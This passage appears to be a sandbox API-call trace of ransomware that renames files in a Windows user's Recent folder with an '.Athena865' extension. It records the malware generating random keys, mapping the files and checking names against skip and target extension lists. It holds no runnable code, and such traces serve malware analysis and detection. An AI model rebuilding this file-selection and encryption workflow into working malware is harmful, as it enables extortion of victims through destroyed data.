param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\PVDGrFMGOrOutk.mkv.lnk.Athena865") returned 86 [0052.798] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\PVDGrFMGOrOutk.mkv.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\pvdgrfmgoroutk.mkv.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\PVDGrFMGOrOutk.mkv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\pvdgrfmgoroutk.mkv.lnk.athena865"), dwFlags=0x1) returned 1 [0052.799] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\PVDGrFMGOrOutk.mkv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\pvdgrfmgoroutk.mkv.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.799] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=689) returned 1 [0052.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.800] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.800] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.800] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.801] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5c0, lpName=0x0) returned 0x154 [0052.801] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5c0) returned 0x100000 [0052.801] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.802] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.802] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.802] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.803] lstrcpyW (in: lpString1=0x241e8b4, lpString2="qgINIqoMFF7bLoKfY.lnk" | out: lpString1="qgINIqoMFF7bLoKfY.lnk") returned="qgINIqoMFF7bLoKfY.lnk" [0052.803] lstrlenW (lpString="qgINIqoMFF7bLoKfY.lnk") returned 21 [0052.803] lstrlenW (lpString="Athena865") returned 9 [0052.803] lstrcmpiW (lpString1="LoKfY.lnk", lpString2="Athena865") returned 1 [0052.803] lstrlenW (lpString=".dll") returned 4 [0052.803] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.lnk", lpString2=".dll") returned 1 [0052.803] lstrlenW (lpString=".lnk") returned 4 [0052.803] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.lnk", lpString2=".lnk") returned 1 [0052.803] lstrlenW (lpString=".ini") returned 4 [0052.803] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.lnk", lpString2=".ini") returned 1 [0052.803] lstrlenW (lpString=".sys") returned 4 [0052.803] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.lnk", lpString2=".sys") returned 1 [0052.803] lstrlenW (lpString="qgINIqoMFF7bLoKfY.lnk") returned 21 [0052.803] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\qgINIqoMFF7bLoKfY.lnk.Athena865") returned 85 [0052.803] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\qgINIqoMFF7bLoKfY.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\qginiqomff7blokfy.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\qgINIqoMFF7bLoKfY.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\qginiqomff7blokfy.lnk.athena865"), dwFlags=0x1) returned 1 [0052.804] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\qgINIqoMFF7bLoKfY.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\qginiqomff7blokfy.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.804] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2660) returned 1 [0052.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.805] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.805] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.805] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.806] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd70, lpName=0x0) returned 0x154 [0052.806] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd70) returned 0x100000 [0052.806] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.807] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.807] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.807] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.808] lstrcpyW (in: lpString1=0x241e8b4, lpString2="qQK-iS4jM1s-hist.lnk" | out: lpString1="qQK-iS4jM1s-hist.lnk") returned="qQK-iS4jM1s-hist.lnk" [0052.808] lstrlenW (lpString="qQK-iS4jM1s-hist.lnk") returned 20 [0052.808] lstrlenW (lpString="Athena865") returned 9 [0052.808] lstrcmpiW (lpString1="-hist.lnk", lpString2="Athena865") returned 1 [0052.808] lstrlenW (lpString=".dll") returned 4 [0052.808] lstrcmpiW (lpString1="qQK-iS4jM1s-hist.lnk", lpString2=".dll") returned 1 [0052.808] lstrlenW (lpString=".lnk") returned 4 [0052.808] lstrcmpiW (lpString1="qQK-iS4jM1s-hist.lnk", lpString2=".lnk") returned 1 [0052.808] lstrlenW (lpString=".ini") returned 4 [0052.809] lstrcmpiW (lpString1="qQK-iS4jM1s-hist.lnk", lpString2=".ini") returned 1 [0052.809] lstrlenW (lpString=".sys") returned 4 [0052.809] lstrcmpiW (lpString1="qQK-iS4jM1s-hist.lnk", lpString2=".sys") returned 1 [0052.809] lstrlenW (lpString="qQK-iS4jM1s-hist.lnk") returned 20 [0052.809] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\qQK-iS4jM1s-hist.lnk.Athena865") returned 84 [0052.809] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\qQK-iS4jM1s-hist.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\qqk-is4jm1s-hist.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\qQK-iS4jM1s-hist.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\qqk-is4jm1s-hist.lnk.athena865"), dwFlags=0x1) returned 1 [0052.810] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\qQK-iS4jM1s-hist.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\qqk-is4jm1s-hist.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.810] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3575) returned 1 [0052.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.810] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.811] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.811] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.811] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1100, lpName=0x0) returned 0x154 [0052.811] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1100) returned 0x100000 [0052.812] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.812] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.812] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.814] lstrcpyW (in: lpString1=0x241e8b4, lpString2="QRfNNELwdy9r5L.lnk" | out: lpString1="QRfNNELwdy9r5L.lnk") returned="QRfNNELwdy9r5L.lnk" [0052.814] lstrlenW (lpString="QRfNNELwdy9r5L.lnk") returned 18 [0052.814] lstrlenW (lpString="Athena865") returned 9 [0052.814] lstrcmpiW (lpString1="y9r5L.lnk", lpString2="Athena865") returned 1 [0052.814] lstrlenW (lpString=".dll") returned 4 [0052.814] lstrcmpiW (lpString1="QRfNNELwdy9r5L.lnk", lpString2=".dll") returned 1 [0052.814] lstrlenW (lpString=".lnk") returned 4 [0052.814] lstrcmpiW (lpString1="QRfNNELwdy9r5L.lnk", lpString2=".lnk") returned 1 [0052.814] lstrlenW (lpString=".ini") returned 4 [0052.814] lstrcmpiW (lpString1="QRfNNELwdy9r5L.lnk", lpString2=".ini") returned 1 [0052.814] lstrlenW (lpString=".sys") returned 4 [0052.814] lstrcmpiW (lpString1="QRfNNELwdy9r5L.lnk", lpString2=".sys") returned 1 [0052.814] lstrlenW (lpString="QRfNNELwdy9r5L.lnk") returned 18 [0052.814] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\QRfNNELwdy9r5L.lnk.Athena865") returned 82 [0052.814] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\QRfNNELwdy9r5L.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\qrfnnelwdy9r5l.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\QRfNNELwdy9r5L.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\qrfnnelwdy9r5l.lnk.athena865"), dwFlags=0x1) returned 1 [0052.815] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\QRfNNELwdy9r5L.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\qrfnnelwdy9r5l.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.815] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3698) returned 1 [0052.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.816] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.816] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.817] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.817] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1180, lpName=0x0) returned 0x154 [0052.817] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1180) returned 0x100000 [0052.818] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.818] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.818] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.818] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.820] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Qyo mTHjxFoO1.flv.lnk" | out: lpString1="Qyo mTHjxFoO1.flv.lnk") returned="Qyo mTHjxFoO1.flv.lnk" [0052.820] lstrlenW (lpString="Qyo mTHjxFoO1.flv.lnk") returned 21 [0052.820] lstrlenW (lpString="Athena865") returned 9 [0052.820] lstrcmpiW (lpString1="1.flv.lnk", lpString2="Athena865") returned -1 [0052.820] lstrlenW (lpString=".dll") returned 4 [0052.820] lstrcmpiW (lpString1="Qyo mTHjxFoO1.flv.lnk", lpString2=".dll") returned 1 [0052.820] lstrlenW (lpString=".lnk") returned 4 [0052.820] lstrcmpiW (lpString1="Qyo mTHjxFoO1.flv.lnk", lpString2=".lnk") returned 1 [0052.820] lstrlenW (lpString=".ini") returned 4 [0052.820] lstrcmpiW (lpString1="Qyo mTHjxFoO1.flv.lnk", lpString2=".ini") returned 1 [0052.820] lstrlenW (lpString=".sys") returned 4 [0052.820] lstrcmpiW (lpString1="Qyo mTHjxFoO1.flv.lnk", lpString2=".sys") returned 1 [0052.820] lstrlenW (lpString="Qyo mTHjxFoO1.flv.lnk") returned 21 [0052.820] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Qyo mTHjxFoO1.flv.lnk.Athena865") returned 85 [0052.820] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Qyo mTHjxFoO1.flv.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\qyo mthjxfoo1.flv.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Qyo mTHjxFoO1.flv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\qyo mthjxfoo1.flv.lnk.athena865"), dwFlags=0x1) returned 1 [0052.821] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Qyo mTHjxFoO1.flv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\qyo mthjxfoo1.flv.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.821] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=594) returned 1 [0052.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.822] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.822] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.822] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.823] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x560, lpName=0x0) returned 0x154 [0052.823] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x560) returned 0x100000 [0052.823] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.824] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.824] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.834] lstrcpyW (in: lpString1=0x241e8b4, lpString2="R9R-zhvtD.lnk" | out: lpString1="R9R-zhvtD.lnk") returned="R9R-zhvtD.lnk" [0052.834] lstrlenW (lpString="R9R-zhvtD.lnk") returned 13 [0052.834] lstrlenW (lpString="Athena865") returned 9 [0052.834] lstrcmpiW (lpString1="zhvtD.lnk", lpString2="Athena865") returned 1 [0052.834] lstrlenW (lpString=".dll") returned 4 [0052.834] lstrcmpiW (lpString1="R9R-zhvtD.lnk", lpString2=".dll") returned 1 [0052.834] lstrlenW (lpString=".lnk") returned 4 [0052.834] lstrcmpiW (lpString1="R9R-zhvtD.lnk", lpString2=".lnk") returned 1 [0052.834] lstrlenW (lpString=".ini") returned 4 [0052.835] lstrcmpiW (lpString1="R9R-zhvtD.lnk", lpString2=".ini") returned 1 [0052.835] lstrlenW (lpString=".sys") returned 4 [0052.835] lstrcmpiW (lpString1="R9R-zhvtD.lnk", lpString2=".sys") returned 1 [0052.835] lstrlenW (lpString="R9R-zhvtD.lnk") returned 13 [0052.835] lstrlenW (lpString="bak") returned 3 [0052.835] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.835] lstrlenW (lpString="ba_") returned 3 [0052.835] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.835] lstrlenW (lpString="dbb") returned 3 [0052.835] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.835] lstrlenW (lpString="vmdk") returned 4 [0052.835] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.835] lstrlenW (lpString="rar") returned 3 [0052.835] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.835] lstrlenW (lpString="zip") returned 3 [0052.835] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.835] lstrlenW (lpString="tgz") returned 3 [0052.835] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.835] lstrlenW (lpString="vbox") returned 4 [0052.835] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.835] lstrlenW (lpString="vdi") returned 3 [0052.835] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.835] lstrlenW (lpString="vhd") returned 3 [0052.835] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.835] lstrlenW (lpString="vhdx") returned 4 [0052.835] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.835] lstrlenW (lpString="avhd") returned 4 [0052.835] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.835] lstrlenW (lpString="db") returned 2 [0052.835] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.835] lstrlenW (lpString="db2") returned 3 [0052.835] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.835] lstrlenW (lpString="db3") returned 3 [0052.836] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.836] lstrlenW (lpString="dbf") returned 3 [0052.836] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.836] lstrlenW (lpString="mdf") returned 3 [0052.836] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.836] lstrlenW (lpString="mdb") returned 3 [0052.836] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.836] lstrlenW (lpString="sql") returned 3 [0052.836] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.836] lstrlenW (lpString="sqlite") returned 6 [0052.836] lstrcmpiW (lpString1="tD.lnk", lpString2="sqlite") returned 1 [0052.836] lstrlenW (lpString="sqlite3") returned 7 [0052.836] lstrcmpiW (lpString1="vtD.lnk", lpString2="sqlite3") returned 1 [0052.836] lstrlenW (lpString="sqlitedb") returned 8 [0052.836] lstrcmpiW (lpString1="hvtD.lnk", lpString2="sqlitedb") returned -1 [0052.836] lstrlenW (lpString="xml") returned 3 [0052.836] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.836] lstrlenW (lpString="$er") returned 3 [0052.836] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.836] lstrlenW (lpString="4dd") returned 3 [0052.836] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.836] lstrlenW (lpString="4dl") returned 3 [0052.836] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.836] lstrlenW (lpString="^^^") returned 3 [0052.836] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.836] lstrlenW (lpString="abs") returned 3 [0052.836] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.836] lstrlenW (lpString="abx") returned 3 [0052.836] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.836] lstrlenW (lpString="accdb") returned 5 [0052.836] lstrcmpiW (lpString1="D.lnk", lpString2="accdb") returned 1 [0052.836] lstrlenW (lpString="accdc") returned 5 [0052.836] lstrcmpiW (lpString1="D.lnk", lpString2="accdc") returned 1 [0052.836] lstrlenW (lpString="accde") returned 5 [0052.837] lstrcmpiW (lpString1="D.lnk", lpString2="accde") returned 1 [0052.837] lstrlenW (lpString="accdr") returned 5 [0052.837] lstrcmpiW (lpString1="D.lnk", lpString2="accdr") returned 1 [0052.837] lstrlenW (lpString="accdt") returned 5 [0052.837] lstrcmpiW (lpString1="D.lnk", lpString2="accdt") returned 1 [0052.837] lstrlenW (lpString="accdw") returned 5 [0052.837] lstrcmpiW (lpString1="D.lnk", lpString2="accdw") returned 1 [0052.837] lstrlenW (lpString="accft") returned 5 [0052.837] lstrcmpiW (lpString1="D.lnk", lpString2="accft") returned 1 [0052.837] lstrlenW (lpString="adb") returned 3 [0052.837] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.837] lstrlenW (lpString="adb") returned 3 [0052.837] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.837] lstrlenW (lpString="ade") returned 3 [0052.837] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.837] lstrlenW (lpString="adf") returned 3 [0052.837] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.837] lstrlenW (lpString="adn") returned 3 [0052.837] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.837] lstrlenW (lpString="adp") returned 3 [0052.837] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.837] lstrlenW (lpString="alf") returned 3 [0052.837] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.837] lstrlenW (lpString="ask") returned 3 [0052.837] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.837] lstrlenW (lpString="btr") returned 3 [0052.837] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.837] lstrlenW (lpString="cat") returned 3 [0052.837] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.837] lstrlenW (lpString="cdb") returned 3 [0052.837] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.837] lstrlenW (lpString="ckp") returned 3 [0052.837] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.837] lstrlenW (lpString="cma") returned 3 [0052.837] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.837] lstrlenW (lpString="cpd") returned 3 [0052.838] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.838] lstrlenW (lpString="dacpac") returned 6 [0052.838] lstrcmpiW (lpString1="tD.lnk", lpString2="dacpac") returned 1 [0052.838] lstrlenW (lpString="dad") returned 3 [0052.838] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.838] lstrlenW (lpString="dadiagrams") returned 10 [0052.838] lstrcmpiW (lpString1="-zhvtD.lnk", lpString2="dadiagrams") returned 1 [0052.838] lstrlenW (lpString="daschema") returned 8 [0052.838] lstrcmpiW (lpString1="hvtD.lnk", lpString2="daschema") returned 1 [0052.838] lstrlenW (lpString="db-journal") returned 10 [0052.838] lstrcmpiW (lpString1="-zhvtD.lnk", lpString2="db-journal") returned 1 [0052.838] lstrlenW (lpString="db-shm") returned 6 [0052.838] lstrcmpiW (lpString1="tD.lnk", lpString2="db-shm") returned 1 [0052.838] lstrlenW (lpString="db-wal") returned 6 [0052.838] lstrcmpiW (lpString1="tD.lnk", lpString2="db-wal") returned 1 [0052.838] lstrlenW (lpString="dbc") returned 3 [0052.838] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.838] lstrlenW (lpString="dbs") returned 3 [0052.838] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.838] lstrlenW (lpString="dbt") returned 3 [0052.838] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.838] lstrlenW (lpString="dbv") returned 3 [0052.838] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.838] lstrlenW (lpString="dbx") returned 3 [0052.838] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.838] lstrlenW (lpString="dcb") returned 3 [0052.838] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.838] lstrlenW (lpString="dct") returned 3 [0052.838] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0052.838] lstrlenW (lpString="dcx") returned 3 [0052.838] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0052.838] lstrlenW (lpString="ddl") returned 3 [0052.838] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0052.839] lstrlenW (lpString="dlis") returned 4 [0052.839] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0052.839] lstrlenW (lpString="dp1") returned 3 [0052.839] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0052.839] lstrlenW (lpString="dqy") returned 3 [0052.839] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0052.839] lstrlenW 